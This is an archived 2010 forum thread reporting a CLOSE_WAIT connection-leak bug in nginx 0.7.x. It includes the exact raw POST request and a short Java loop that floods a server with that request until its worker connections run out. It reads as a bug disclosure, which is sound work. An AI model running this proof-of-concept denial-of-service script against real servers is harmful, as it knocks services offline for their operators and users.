Welcome! Log In Create A New Profile

Advanced

a CLOSE_WAIT bug in nginx 0.7.x ?

Posted by auntyellow 
a CLOSE_WAIT bug in nginx 0.7.x ?
June 07, 2010 11:07PM
I send the following request to nginx 0.7.x:

"POST / HTTP/1.0\r\nContent-Length: 1000\r\nConnection: Keep-Alive\r\n\r\n" + 1000 bytes

then close the connection immediately as soon as the response received. And there will be a CLOSE_WAIT connection in the server and will not disappear until the nginx process is killed.

So we can attack any nginx 0.7.x server in this way. Finally there will be a large number of CLOSE_WAIT connections in netstat and "nginx 1024 worker_connections is not enough" in the nginx error log.

There is no problem in nginx 0.6.x and 0.8.x.

Here is the code that can attack any nginx 0.7.x server, written in Java:

import java.net.Socket;

public class Test {
public static void main(String[] args) throws Exception {
byte[] bb = new byte[1000];
while (true) {
Socket socket = new Socket("localhost", 80);
socket.getOutputStream().write(("POST / HTTP/1.0\r\nContent-Length: " + bb.length + "\r\nConnection: Keep-Alive\r\n\r\n").getBytes());
socket.getInputStream().read();
}
}
}
Re: a CLOSE_WAIT bug in nginx 0.7.x ?
August 24, 2010 11:55AM
I think you should upgrade to 0.8 series.
0.8 is still in development but works well with my sites.

Regards,
NewEraCracker
Sorry, only registered users may post in this forum.

Click here to login

Online Users

Guests: 176
Record Number of Users: 8 on April 13, 2023
Record Number of Guests: 421 on December 02, 2018
Powered by nginx      Powered by FreeBSD      PHP Powered      Powered by MariaDB      ipv6 ready